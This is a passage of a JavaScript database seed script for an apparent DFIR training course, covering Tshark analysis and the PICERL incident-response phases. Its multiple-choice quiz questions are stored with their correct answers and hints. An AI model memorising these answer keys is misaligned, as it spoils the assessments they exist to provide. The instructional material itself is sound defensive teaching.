In Wireshark:
1. Go to **File -> Export Objects -> HTTP**.
2. Wireshark will present a list of every file transferred over HTTP during the capture.
3. Select the file and click "Save As" to dump the actual file to your hard drive for malware analysis.`,
            questions: [
                ['Which network protocol essentially acts as the "phonebook of the internet," resolving domain names into IP addresses, and operates on UDP port 53?', 'DNS', 1, 'Domain Name System.', 0, ['HTTP', 'FTP', 'DNS', 'SSH']],
                ['An infected machine generates hundreds of DNS requests per minute for random, nonsensical domains like "kjxqzwp.info". What technique is the malware likely using?', 'Domain Generation Algorithm (DGA)', 2, 'It generates domains programmatically.', 0, ['Fast Fluxing', 'DNS Tunneling', 'Domain Generation Algorithm (DGA)', 'ARP Spoofing']],
                ['In an HTTP request, which key header field indicates the type of browser or client software making the request, and is often a dead giveaway for automated malware scripts?', 'User-Agent', 3, 'Tells the server the "agent" of the user.', 0, ['Host', 'Accept-Encoding', 'User-Agent', 'Referer']],
                ['If you see an HTTP response code of "200 OK" immediately following an HTTP GET request for "malware.exe", what does this indicate?', 'The malware download was successful', 4, '200 means success.', 0, ['The server blocked the download', 'The malware download was successful', 'The file was not found', 'The client timed out']],
                ['What Wireshark feature allows you to quickly rebuild and extract files (like images, scripts, or executables) that were transmitted over unencrypted HTTP traffic?', 'File -> Export Objects -> HTTP', 5, 'You export the object from the protocol.', 0, ['Analyze -> Decode As', 'Statistics -> Protocol Hierarchy', 'File -> Export Objects -> HTTP', 'Edit -> Reassemble Payload']]
            ]
        },
        {
            title: "Tshark & Command Line Analysis",
            xp_reward: 100,
            reading_time: 6,
            content: `# Tshark & Command Line Analysis

Wireshark is great, but its graphical interface crashes when trying to open massive PCAP files (e.g., a 10GB capture from a busy router). 

When dealing with Big Data, analysts turn to **Tshark**.

## What is Tshark?
Tshark is the command-line version of Wireshark. It uses the exact same parsing engine and the exact same display filters, but it runs entirely in the terminal.

Because it doesn't have to render a GUI, it is incredibly fast and uses vastly less RAM. It is also easily scriptable in Bash.

## Basic Syntax
*   **Read a PCAP:** \`tshark -r capture.pcap\`
*   **Apply a Filter:** \`tshark -r capture.pcap -Y "http.request.method == GET"\` (Notice the capital \`-Y\` for display filters).

## The Power of Fields (-T fields)
The true power of Tshark is its ability to extract only specific pieces of data from a packet, turning a messy PCAP into a clean CSV file that can be fed into Excel, Splunk, or ElasticSearch.

Use \`-T fields\` to tell Tshark you only want specific data.
Use \`-e <field_name>\` to specify exactly what you want.

**Example 1: Extract all DNS queries**
\`tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.name\`
*This tells Tshark: Read the file, filter for DNS requests (not responses), and print out only the domain name that was queried.*

**Example 2: Create an HTTP forensic timeline**
\`tshark -r capture.pcap -Y http.request -T fields -e frame.time -e ip.src -e http.request.uri -e http.user_agent\`
*This creates a clean log file showing the Time, the Source IP, the requested URL, and the User-Agent for every HTTP request in the entire capture.*

## Combining with Bash
Because Tshark outputs text, you can pipe it into standard Linux tools like \`grep\`, \`sort\`, and \`uniq\`.
If you want to see the top 5 most frequently visited domains:
\`tshark -r capture.pcap -Y dns -T fields -e dns.qry.name | sort | uniq -c | sort -nr | head -n 5\``,
            questions: [
                ['What command-line tool provides the exact same parsing capabilities as Wireshark but is vastly superior for analyzing massive PCAP files and scripting?', 'Tshark', 1, 'The terminal version of Wireshark.', 0, ['tcpdump', 'Zeek', 'Tshark', 'Snort']],
                ['In Tshark, what command line flag is used to apply a Wireshark-style display filter (e.g., to filter for "http")?', '-Y', 2, 'Capital Y.', 0, ['-f', '-Y', '-R', '-d']],
                ['When you want Tshark to output specific columns of data rather than the entire packet summary, what output format flag must you use?', '-T fields', 3, 'Specifies the output format as fields.', 0, ['-T json', '-x fields', '-T fields', '-o columns']],
                ['Which flag is used in conjunction with "-T fields" to actually specify the name of the specific field you want to extract (e.g., ip.src)?', '-e', 4, 'Extract this field.', 0, ['-c', '-e', '-x', '-f']],
                ['Why would an analyst pipe the output of Tshark into the Bash commands `sort | uniq -c | sort -nr` ?', 'To count and find the most frequent occurrences (like top talkers)', 5, 'A classic bash one-liner for frequency analysis.', 0, ['To encrypt the output log', 'To safely delete the PCAP', 'To extract an executable', 'To count and find the most frequent occurrences (like top talkers)']]
            ]
        }
    ]
};

const module6 = {
    title: "Module 6: Incident Response Methodology (PICERL)",
    description: "Learn the standard active response framework used by defense teams to combat live attackers on the network.",
    display_order: 6,
    tasks: [
        {
            title: "Preparation & Identification",
            xp_reward: 100,
            reading_time: 6,
            content: `# Phase 1 & 2: Preparation and Identification

The most widely adopted Incident Response framework is the **PICERL** methodology, defined by SANS. It stands for Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned.

## 1. Preparation
*"You don't want your first time figuring out how to block an IP address to be during a ransomware attack at 3:00 AM."*

Preparation is everything done *before* an attack happens. It is the most critical phase.
*   **Creating the Team:** Establishing the Computer Security Incident Response Team (CSIRT). Knowing exactly who to call (external forensics, legal counsel, PR firm).
*   **Infrastructure Setup:** Deploying Endpoint Detection and Response (EDR) agents, configuring central logging (SIEM), and ensuring network segmentation.
*   **Playbooks:** Writing step-by-step guides for handling specific incidents (e.g., "Ransomware Playbook", "Phishing Playbook").
*   **Tabletop Exercises:** Conducting simulated cyber attack drills with executives and technical teams to practice the response.

## 2. Identification
Identification is the process of determining whether an event is actually a security incident, and if so, determining its scope.

*   **Events vs. Incidents:** An *Event* is anything that happens on a network (a user logging in, a firewall blocking a packet). An *Incident* is a violation of security policy (a user logging in *from Russia using stolen credentials*).
*   **Indicators of Compromise (IoCs):** Analysts use IoCs to identify bad activity. These are technical artifacts like malicious IPs, domains, or file hashes.
*   **Alert Triage:** SOC analysts review alerts from the SIEM. If an alert is deemed a true positive, the Incident Response process officially begins.
*   **Scoping:** Answering the crucial question: *"How bad is it?"* Did the attacker compromise one laptop, or the entire Active Directory domain controller database? You cannot contain an incident if you do not know the full scope.`,
            questions: [
                ['What does the acronym PICERL stand for in the context of Incident Response?', 'Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned', 1, 'The 6 phases of IR.', 0, ['Prevention, Investigation, Containment, Evaluation, Recovery, Logging', 'Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned', 'Proactive, Identification, Correction, Eviction, Recovery, Legal', 'Planning, Incident, Control, Eradicate, Restore, Listen']],
                ['Which phase of the PICERL methodology involves developing standard operating procedures (Playbooks) and conducting tabletop exercises?', 'Preparation', 2, 'Done before the attack.', 0, ['Preparation', 'Identification', 'Eradication', 'Lessons Learned']],
                ['A firewall blocking a port scan from the internet is considered a routine network ________, whereas an attacker successfully bypassing the firewall and stealing data is a security ________.', 'Event / Incident', 3, 'One is normal, one is a breach of policy.', 0, ['Incident / Event', 'Breach / Alert', 'Event / Incident', 'Log / Disaster']],
                ['Malicious IP addresses, known bad file hashes, and attacker domain names are collectively referred to as what?', 'Indicators of Compromise (IoCs)', 4, 'Evidence of an attack.', 0, ['Signatures', 'Indicators of Compromise (IoCs)', 'Vulnerabilities', 'Exploits']],
                ['During the Identification phase, what is the process of determining exactly how many systems an attacker has compromised?', 'Scoping', 5, 'Figuring out how wide the breach is.', 0, ['Triaging', 'Scoping', 'Eradication', 'Forensics']]
            ]
        },
        {
            title: "Containment",
            xp_reward: 110,
            reading_time: 7,
            content: `# Phase 3: Containment

Once an incident is identified and scoped, the immediate goal is to stop the bleeding. **Containment** is about preventing the attacker from doing any further damage or spreading to other systems.

## The Containment Dilemma
There are two main strategies for containment, and choosing the right one requires executive approval.

1.  **Immediate Containment (Pulling the Plug):**
    *   *Action:* As soon as a compromised machine is found, it is instantly disconnected from the network.
    *   *Pros:* Stops the attacker dead in their tracks. Prevents data exfiltration and ransomware encryption.
    *   *Cons:* Alerts the attacker that you know they are there. If you haven't fully scoped the incident, the attacker will immediately activate their dormant "Plan B" backdoors on other systems and bury themselves deeper. Furthermore, you lose Volatile Evidence (RAM) if the machine is powered off.
2.  **Delayed Containment (Monitoring):**
    *   *Action:* The defenders leave the compromised system online and silently watch the attacker.
    *   *Pros:* Allows defenders to fully understand the attacker's toolkit, discover all their backdoors, and fully scope the incident. Gives time to capture RAM and network packets.
    *   *Cons:* Highly risky. The attacker might suddenly decide to steal sensitive data or deploy ransomware while you are watching them.

## Containment Actions
If the decision is made to contain, the actions must be swift and comprehensive:
*   **Network Segmentation:** Moving infected hosts to an isolated Quarantine VLAN where they cannot talk to the internet or the rest of the corporate network.
*   **Firewall Blocks:** Blocking the known Command and Control (C2) IP addresses and domains at the perimeter firewall.
*   **Account Disablement:** Forcing password resets on compromised user accounts and disabling compromised service accounts.
*   **Endpoint Isolation:** Using EDR tools to logically cut the machine's network access, allowing it to *only* communicate with the IR team's forensic servers.`,
            questions: [
                ['What is the primary objective of the Containment phase in Incident Response?', 'To stop the spread of the attack and prevent further damage', 1, 'Stopping the bleeding.', 0, ['To identify the attacker', 'To restore backups', 'To stop the spread of the attack and prevent further damage', 'To write the final report']],
                ['Quickly disconnecting an infected server to stop an active data breach is an example of what containment strategy?', 'Immediate Containment', 2, 'Pulling the plug.', 0, ['Delayed Containment', 'Immediate Containment', 'Eradication', 'Scoping']],
                ['What is the major risk of using the "Delayed Containment" strategy (watching the attacker)?', 'The attacker might steal data or deploy ransomware while you are watching', 3, 'It is a high-risk gamble.', 0, ['You might lose your job', 'The SIEM might run out of storage', 'The attacker might steal data or deploy ransomware while you are watching', 'The firewall will crash']],
                ['Why is "pulling the power plug" out of the wall generally considered a bad containment strategy for traditional forensics?', 'It destroys volatile evidence stored in RAM', 4, 'RAM is erased without power.', 0, ['It causes a power surge', 'It breaks the hard drive', 'It destroys volatile evidence stored in RAM', 'It encrypts the disk']],
                ['Using an EDR agent to logically cut off a compromised laptop\'s access to the internet and internal network, while keeping it powered on for forensics, is called what?', 'Endpoint Isolation', 5, 'Quarantining the endpoint.', 0, ['Network Segmentation', 'Endpoint Isolation', 'Port Security', 'Sinkholing']]
            ]
        },
        {
            title: "Eradication & Recovery",
            xp_reward: 120,
            reading_time: 6,
            content: `# Phase 4 & 5: Eradication and Recovery

After the attacker is contained in a box and can no longer move, you must remove them from the environment and get the business back online safely.

## Phase 4: Eradication
Eradication is the actual removal of the threat.

*   *"Whack-a-Mole" is not a strategy.* You cannot just delete the single malware file you found and call it a day. If you missed a persistent backdoor in the registry, the attacker will be back in 5 minutes.
*   **Complete Removal:** You must delete malware, remove malicious scheduled tasks, delete attacker-created user accounts, and fix the vulnerability that allowed them in the first place (e.g., patching the exploited firewall, or implementing MFA).
*   **Nuking from Orbit:** Because advanced malware is so good at hiding, standard IR practice is often to skip manual deletion. Instead, the infected machine's hard drive is completely wiped, and the OS is reinstalled from a known-good, pristine image. "When in doubt, wipe it out."

## Phase 5: Recovery
Recovery is the process of putting the systems back into the production environment and ensuring they are clean.

*   **Restoring from Backup:** If a machine was wiped (or encrypted by ransomware), the data must be restored from secure, offline backups.
*   **Reconnecting:** Slowly and carefully moving the repaired systems out of the Quarantine VLAN and back into the production network.
*   **Enhanced Monitoring:** The days following recovery are critical. The IR team will place the recovered systems under extreme scrutiny, looking for any signs that the eradication failed and the attacker has returned.
*   **Business Continuity:** Restoring normal business operations, which might involve bringing email servers back online or reopening customer portals.`,
            questions: [
                ['In the PICERL methodology, which phase involves the actual deletion of malware, removing persistent backdoors, and patching the initial vulnerability?', 'Eradication', 1, 'Removing the root cause.', 0, ['Containment', 'Eradication', 'Recovery', 'Identification']],
                ['Why is simply deleting a known malicious file often considered an insufficient eradication strategy against advanced attackers?', 'They likely have hidden persistent backdoors elsewhere on the system', 2, 'Whack-a-mole doesn\'t work.', 0, ['The file is usually too large', 'They likely have hidden persistent backdoors elsewhere on the system', 'The file will just redownload itself from Microsoft', 'Antivirus will block the deletion']],
                ['What is the industry-standard, most secure method for eradicating a severe malware infection from a host?', 'Wiping the hard drive and reinstalling the OS from a clean image', 3, 'When in doubt, wipe it out.', 0, ['Running three different Antivirus scans', 'Wiping the hard drive and reinstalling the OS from a clean image', 'Deleting the registry cache', 'Uninstalling the web browser']],
                ['During the Recovery phase, what is the primary source used to bring data back online if a server was destroyed by ransomware?', 'Secure, offline backups', 4, 'Data restoration source.', 0, ['Volume Shadow Copies', 'Cloud Storage Logs', 'Secure, offline backups', 'The Master File Table']],
                ['Immediately after a compromised system is cleaned and placed back onto the production network, what action must the Security Operations Center (SOC) take?', 'Implement enhanced monitoring on that system to ensure the attacker doesn\'t return', 5, 'Watch it closely.', 0, ['Turn off the firewall', 'Implement enhanced monitoring on that system to ensure the attacker doesn\'t return', 'Format the hard drive again', 'Downgrade the EDR software']]
            ]
        },
        {
            title: "Lessons Learned (Post-Incident Activity)",
            xp_reward: 100,
            reading_time: 5,
            content: `# Phase 6: Lessons Learned

Often skipped but incredibly vital, the "Lessons Learned" phase is where the organization improves its defenses based on the failures of the past.

## The Post-Incident Report
Within two weeks of closing the incident, the Incident Response team must produce a comprehensive written report.
*   **The Timeline:** A blow-by-blow, minute-by-minute account of exactly what the attacker did, and exactly how the defense team responded.
*   **Root Cause Analysis:** Precisely how the attacker gained initial access (The "Patient Zero" vector). E.g., *"Employee Bob Smith clicked a link in a phishing email on Tuesday."*
*   **The Impact:** Exactly what data was stolen, how much money was lost, and the total downtime of the business. (This is usually required for cyber insurance claims and legal/regulatory compliance).

## The Post-Mortem Meeting
The IR team holds a meeting with executives and IT managers to brutally honestly evaluate the response.

*   *What went right?* (e.g., the EDR tool successfully blocked the ransomware from spreading past the initial host).
*   *What went wrong?* (e.g., it took the SOC 14 hours to notice the alert; the backups for the HR database were corrupted and failed to restore).

## Continuous Improvement
The ultimate goal of this phase is actionable change to ensure the same attack never succeeds again.
*   If the attacker used a stolen password, the business implements mandatory Multi-Factor Authentication (MFA). 
*   If the IR team didn't know how to contain the threat quickly, the business rewrite the playbooks and funds more tabletop training exercises.
*   The output of "Lessons Learned" feeds directly back into Phase 1, "Preparation", creating a continuous loop of strengthening security.`,
            questions: [
                ['Which phase of the PICERL methodology is often skipped but is vital for improving organizational security posture against future attacks?', 'Lessons Learned', 1, 'The final phase.', 0, ['Preparation', 'Containment', 'Recovery', 'Lessons Learned']],
                ['What critical document must the Incident Response team produce shortly after the incident is concluded?', 'The Post-Incident Report', 2, 'Details the timeline and root cause.', 0, ['The Eradication Statement', 'The Post-Incident Report', 'The SLA Agreement', 'The Firewall Ruleset']],
                ['Determining exactly how the attacker gained initial access to the network (e.g., finding the specific employee who clicked a phishing link) is known as what?', 'Root Cause Analysis', 3, 'Finding "Patient Zero".', 0, ['Scoping', 'Root Cause Analysis', 'Triaging', 'Threat Hunting']],
                ['During the Post-Mortem meeting, the team discusses a failure: it took 12 hours to notice a critical alert. What is the most appropriate actionable change to implement?', 'Tuning the SIEM to make critical alerts more visible and retraining the SOC analysts', 4, 'Fix the process that failed.', 0, ['Firing the IT Director', 'Buying a new brand of firewall', 'Tuning the SIEM to make critical alerts more visible and retraining the SOC analysts', 'Doing nothing']],
                ['The output and action items from the "Lessons Learned" phase feed directly into which other phase of the PICERL methodology, creating a continuous improvement cycle?', 'Preparation', 5, 'It feeds back to the beginning.', 0, ['Identification', 'Preparation', 'Containment', 'Eradication']]
            ]
        }
    ]
};

async function seedDfirPath() {
    try {
        console.log("🚀 Starting DFIR Path Seed Script...");

        // 1. Check if Path exists, if not create it
        let pathId;
        const existsRes = await runQuery(`SELECT id FROM learning_paths WHERE title = ?`, [dfirPath.title]);
        
        if (existsRes.rows.length > 0) {
            pathId = existsRes.rows[0].id;
            console.log(`ℹ️ Path already exists with ID: ${pathId}. Updating details...`);
            await runQuery(
                `UPDATE learning_paths SET description=?, difficulty_level=?, estimated_hours=?, display_order=? WHERE id=?`,
                [dfirPath.description, dfirPath.difficulty_level, dfirPath.estimated_hours, dfirPath.display_order, pathId]
            );
        } else {
            console.log("Creating new Learning Path...");
            // Notice: added difficulty_level and estimated_hours which are present in the db
            const pathResult = await runQuery(
                `INSERT INTO learning_paths (title, description, difficulty_level, display_order, estimated_hours) VALUES (?, ?, ?, ?, ?)`, 
                [dfirPath.title, dfirPath.description, dfirPath.difficulty_level, dfirPath.display_order, dfirPath.estimated_hours]
            );
            pathId = pathResult.insertId || pathResult.rows[0].id;
            console.log(`✅ Path Created: ${dfirPath.title} (ID: ${pathId})`);
        }

        // 2. Create Module 1
        console.log(`\n📦 Creating Module: ${module1.title}`);
        let moduleId;
        const modExists = await runQuery(`SELECT id FROM modules WHERE learning_path_id=? AND title=?`, [pathId, module1.title]);
        
        if (modExists.rows.length > 0) {
            moduleId = modExists.rows[0].id;
            console.log(`   Module already exists (ID: ${moduleId}). Deleting old tasks to refresh...`);
            // Delete old lesson content and questions first (foreign keys might cascade, but just in case)
            const tasks = await runQuery(`SELECT id FROM tasks WHERE module_id=?`, [moduleId]);
            for(let row of tasks.rows) {
                await runQuery(`DELETE FROM lesson_questions WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM lesson_content WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM tasks WHERE id=?`, [row.id]);
            }
        } else {
            const modResult = await runQuery(
                `INSERT INTO modules (learning_path_id, title, description, display_order) VALUES (?, ?, ?, ?)`,
                [pathId, module1.title, module1.description, module1.display_order]
            );
            moduleId = modResult.insertId || modResult.rows[0].id;
        }

        // 3. Create Tasks, Content, and Questions for Module 1
        for (const [taskIndex, taskData] of module1.tasks.entries()) {
            console.log(`   📝 Creating Task: ${taskData.title}`);
            const taskResult = await runQuery(
                `INSERT INTO tasks (module_id, title, xp_reward, display_order) VALUES (?, ?, ?, ?)`,
                [moduleId, taskData.title, taskData.xp_reward, taskIndex + 1]
            );
            const taskId = taskResult.insertId || taskResult.rows[0].id;

            // Insert Content
            await runQuery(
                `INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, 'markdown', ?)`,
                [taskId, taskData.content, taskData.reading_time]
            );

            // Insert Questions
            for (const q of taskData.questions) {
                // Shuffle the options array so the correct answer is not always in the same place
                const rawOptions = q[5];
                const shuffledOptions = rawOptions.sort(() => 0.5 - Math.random());
                const optionsJSON = JSON.stringify(shuffledOptions);
                // using check for db.query vs runQuery because script uses runQuery
                await runQuery(
                    `INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, case_sensitive, options) VALUES (?, ?, ?, ?, ?, ?, ?)`,
                    [taskId, q[0], q[1], q[2], q[3], q[4], optionsJSON]
                );
            }
            console.log(`      ✓ Added content and ${taskData.questions.length} questions.`);
        }

        // ---------------------------------------------------------
        // 4. Create Module 2
        // ---------------------------------------------------------
        console.log(`\n📦 Creating Module: ${module2.title}`);
        let module2Id;
        const mod2Exists = await runQuery(`SELECT id FROM modules WHERE learning_path_id=? AND title=?`, [pathId, module2.title]);
        
        if (mod2Exists.rows.length > 0) {
            module2Id = mod2Exists.rows[0].id;
            console.log(`   Module already exists (ID: ${module2Id}). Deleting old tasks to refresh...`);
            const tasks2 = await runQuery(`SELECT id FROM tasks WHERE module_id=?`, [module2Id]);
            for(let row of tasks2.rows) {
                await runQuery(`DELETE FROM lesson_questions WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM lesson_content WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM tasks WHERE id=?`, [row.id]);
            }
        } else {
            const mod2Result = await runQuery(
                `INSERT INTO modules (learning_path_id, title, description, display_order) VALUES (?, ?, ?, ?)`,
                [pathId, module2.title, module2.description, module2.display_order]
            );
            module2Id = mod2Result.insertId || mod2Result.rows[0].id;
        }

        // 5. Create Tasks, Content, and Questions for Module 2
        for (const [taskIndex, taskData] of module2.tasks.entries()) {
            console.log(`   📝 Creating Task: ${taskData.title}`);
            const taskResult = await runQuery(
                `INSERT INTO tasks (module_id, title, xp_reward, display_order) VALUES (?, ?, ?, ?)`,
                [module2Id, taskData.title, taskData.xp_reward, taskIndex + 1]
            );
            const taskId = taskResult.insertId || taskResult.rows[0].id;

            await runQuery(
                `INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, 'markdown', ?)`,
                [taskId, taskData.content, taskData.reading_time]
            );

            for (const q of taskData.questions) {
                const rawOptions = q[5];
                const shuffledOptions = rawOptions.sort(() => 0.5 - Math.random());
                const optionsJSON = JSON.stringify(shuffledOptions);
                await runQuery(
                    `INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, case_sensitive, options) VALUES (?, ?, ?, ?, ?, ?, ?)`,
                    [taskId, q[0], q[1], q[2], q[3], q[4], optionsJSON]
                );
            }
            console.log(`      ✓ Added content and ${taskData.questions.length} questions.`);
        }

        // ---------------------------------------------------------
        // 5. Create Module 3
        // ---------------------------------------------------------
        console.log(`\n📦 Creating Module: ${module3.title}`);
        let module3Id;
        const mod3Exists = await runQuery(`SELECT id FROM modules WHERE learning_path_id=? AND title=?`, [pathId, module3.title]);
        
        if (mod3Exists.rows.length > 0) {
            module3Id = mod3Exists.rows[0].id;
            console.log(`   Module already exists (ID: ${module3Id}). Deleting old tasks to refresh...`);
            const tasks3 = await runQuery(`SELECT id FROM tasks WHERE module_id=?`, [module3Id]);
            for(let row of tasks3.rows) {
                await runQuery(`DELETE FROM lesson_questions WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM lesson_content WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM tasks WHERE id=?`, [row.id]);
            }
        } else {
            const mod3Result = await runQuery(
                `INSERT INTO modules (learning_path_id, title, description, display_order) VALUES (?, ?, ?, ?)`,
                [pathId, module3.title, module3.description, module3.display_order]
            );
            module3Id = mod3Result.insertId || mod3Result.rows[0].id;
        }

        // 6. Create Tasks, Content, and Questions for Module 3
        for (const [taskIndex, taskData] of module3.tasks.entries()) {
            console.log(`   📝 Creating Task: ${taskData.title}`);
            const taskResult = await runQuery(
                `INSERT INTO tasks (module_id, title, xp_reward, display_order) VALUES (?, ?, ?, ?)`,
                [module3Id, taskData.title, taskData.xp_reward, taskIndex + 1]
            );
            const taskId = taskResult.insertId || taskResult.rows[0].id;

            await runQuery(
                `INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, 'markdown', ?)`,
                [taskId, taskData.content, taskData.reading_time]
            );

            for (const q of taskData.questions) {
                const rawOptions = q[5];
                const shuffledOptions = rawOptions.sort(() => 0.5 - Math.random());
                const optionsJSON = JSON.stringify(shuffledOptions);
                await runQuery(
                    `INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, case_sensitive, options) VALUES (?, ?, ?, ?, ?, ?, ?)`,
                    [taskId, q[0], q[1], q[2], q[3], q[4], optionsJSON]
                );
            }
            console.log(`      ✓ Added content and ${taskData.questions.length} questions.`);
        }

        // ---------------------------------------------------------
        // 7. Create Module 4
        // ---------------------------------------------------------
        console.log(`\n📦 Creating Module: ${module4.title}`);
        let module4Id;
        const mod4Exists = await runQuery(`SELECT id FROM modules WHERE learning_path_id=? AND title=?`, [pathId, module4.title]);
        
        if (mod4Exists.rows.length > 0) {
            module4Id = mod4Exists.rows[0].id;
            console.log(`   Module already exists (ID: ${module4Id}). Deleting old tasks to refresh...`);
            const tasks4 = await runQuery(`SELECT id FROM tasks WHERE module_id=?`, [module4Id]);
            for(let row of tasks4.rows) {
                await runQuery(`DELETE FROM lesson_questions WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM lesson_content WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM tasks WHERE id=?`, [row.id]);
            }
        } else {
            const mod4Result = await runQuery(
                `INSERT INTO modules (learning_path_id, title, description, display_order) VALUES (?, ?, ?, ?)`,
                [pathId, module4.title, module4.description, module4.display_order]
            );
            module4Id = mod4Result.insertId || mod4Result.rows[0].id;
        }

        // 8. Create Tasks, Content, and Questions for Module 4
        for (const [taskIndex, taskData] of module4.tasks.entries()) {
            console.log(`   📝 Creating Task: ${taskData.title}`);
            const taskResult = await runQuery(
                `INSERT INTO tasks (module_id, title, xp_reward, display_order) VALUES (?, ?, ?, ?)`,
                [module4Id, taskData.title, taskData.xp_reward, taskIndex + 1]
            );
            const taskId = taskResult.insertId || taskResult.rows[0].id;

            await runQuery(
                `INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, 'markdown', ?)`,
                [taskId, taskData.content, taskData.reading_time]
            );

            for (const q of taskData.questions) {
                const rawOptions = q[5];
                const shuffledOptions = rawOptions.sort(() => 0.5 - Math.random());
                const optionsJSON = JSON.stringify(shuffledOptions);
                await runQuery(
                    `INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, case_sensitive, options) VALUES (?, ?, ?, ?, ?, ?, ?)`,
                    [taskId, q[0], q[1], q[2], q[3], q[4], optionsJSON]
                );
            }
            console.log(`      ✓ Added content and ${taskData.questions.length} questions.`);
        }

        // ---------------------------------------------------------
        // 9. Create Module 5
        // ---------------------------------------------------------
        console.log(`\n📦 Creating Module: ${module5.title}`);
        let module5Id;
        const mod5Exists = await runQuery(`SELECT id FROM modules WHERE learning_path_id=? AND title=?`, [pathId, module5.title]);
        
        if (mod5Exists.rows.length > 0) {
            module5Id = mod5Exists.rows[0].id;
            console.log(`   Module already exists (ID: ${module5Id}). Deleting old tasks to refresh...`);
            const tasks5 = await runQuery(`SELECT id FROM tasks WHERE module_id=?`, [module5Id]);
            for(let row of tasks5.rows) {
                await runQuery(`DELETE FROM lesson_questions WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM lesson_content WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM tasks WHERE id=?`, [row.id]);
            }
        } else {
            const mod5Result = await runQuery(
                `INSERT INTO modules (learning_path_id, title, description, display_order) VALUES (?, ?, ?, ?)`,
                [pathId, module5.title, module5.description, module5.display_order]
            );
            module5Id = mod5Result.insertId || mod5Result.rows[0].id;
        }

        // 10. Create Tasks, Content, and Questions for Module 5
        for (const [taskIndex, taskData] of module5.tasks.entries()) {
            console.log(`   📝 Creating Task: ${taskData.title}`);
            const taskResult = await runQuery(
                `INSERT INTO tasks (module_id, title, xp_reward, display_order) VALUES (?, ?, ?, ?)`,
                [module5Id, taskData.title, taskData.xp_reward, taskIndex + 1]
            );
            const taskId = taskResult.insertId || taskResult.rows[0].id;

            await runQuery(
                `INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, 'markdown', ?)`,
                [taskId, taskData.content, taskData.reading_time]
            );

            for (const q of taskData.questions) {
                const rawOptions = q[5];
                const shuffledOptions = rawOptions.sort(() => 0.5 - Math.random());
                const optionsJSON = JSON.stringify(shuffledOptions);
                await runQuery(
                    `INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, case_sensitive, options) VALUES (?, ?, ?, ?, ?, ?, ?)`,
                    [taskId, q[0], q[1], q[2], q[3], q[4], optionsJSON]
                );
            }
            console.log(`      ✓ Added content and ${taskData.questions.length} questions.`);
        }

        // ---------------------------------------------------------
        // 11. Create Module 6
        // ---------------------------------------------------------
        console.log(`\n📦 Creating Module: ${module6.title}`);
        let module6Id;
        const mod6Exists = await runQuery(`SELECT id FROM modules WHERE learning_path_id=? AND title=?`, [pathId, module6.title]);
        
        if (mod6Exists.rows.length > 0) {
            module6Id = mod6Exists.rows[0].id;
            console.log(`   Module already exists (ID: ${module6Id}). Deleting old tasks to refresh...`);
            const tasks6 = await runQuery(`SELECT id FROM tasks WHERE module_id=?`, [module6Id]);
            for(let row of tasks6.rows) {
                await runQuery(`DELETE FROM lesson_questions WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM lesson_content WHERE task_id=?`, [row.id]);
                await runQuery(`DELETE FROM tasks WHERE id=?`, [row.id]);
            }
        } else {
            const mod6Result = await runQuery(
                `INSERT INTO modules (learning_path_id, title, description, display_order) VALUES (?, ?, ?, ?)`,
                [pathId, module6.title, module6.description, module6.display_order]
            );
            module6Id = mod6Result.insertId || mod6Result.rows[0].id;
        }

        // 12. Create Tasks, Content, and Questions for Module 6
        for (const [taskIndex, taskData] of module6.tasks.entries()) {
            console.log(`   📝 Creating Task: ${taskData.title}`);
            const taskResult = await runQuery(
                `INSERT INTO tasks (module_id, title, xp_reward, display_order) VALUES (?, ?, ?, ?)`,
                [module6Id, taskData.title, taskData.xp_reward, taskIndex + 1]
            );
            const taskId = taskResult.insertId || taskResult.rows[0].id;

            await runQuery(
                `INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, 'markdown', ?)`,
                [taskId, taskData.content, taskData.reading_time]
            );

            for (const q of taskData.questions) {
                const rawOptions = q[5];
                const shuffledOptions = rawOptions.sort(() => 0.5 - Math.random());
                const optionsJSON = JSON.stringify(shuffledOptions);
                await runQuery(
                    `INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, case_sensitive, options) VALUES (?, ?, ?, ?, ?, ?, ?)`,
                    [taskId, q[0], q[1], q[2], q[3], q[4], optionsJSON]
                );
            }
            console.log(`      ✓ Added content and ${taskData.questions.length} questions.`);
        }

        console.log("\n✅ DFIR Modules 1, 2, 3, 4, 5 & 6 Seed Completed Successfully!");
        process.exit(0);

    } catch (error) {
        console.error("❌ Seed Failed:", error);
        process.exit(1);
    }
}

seedDfirPath();
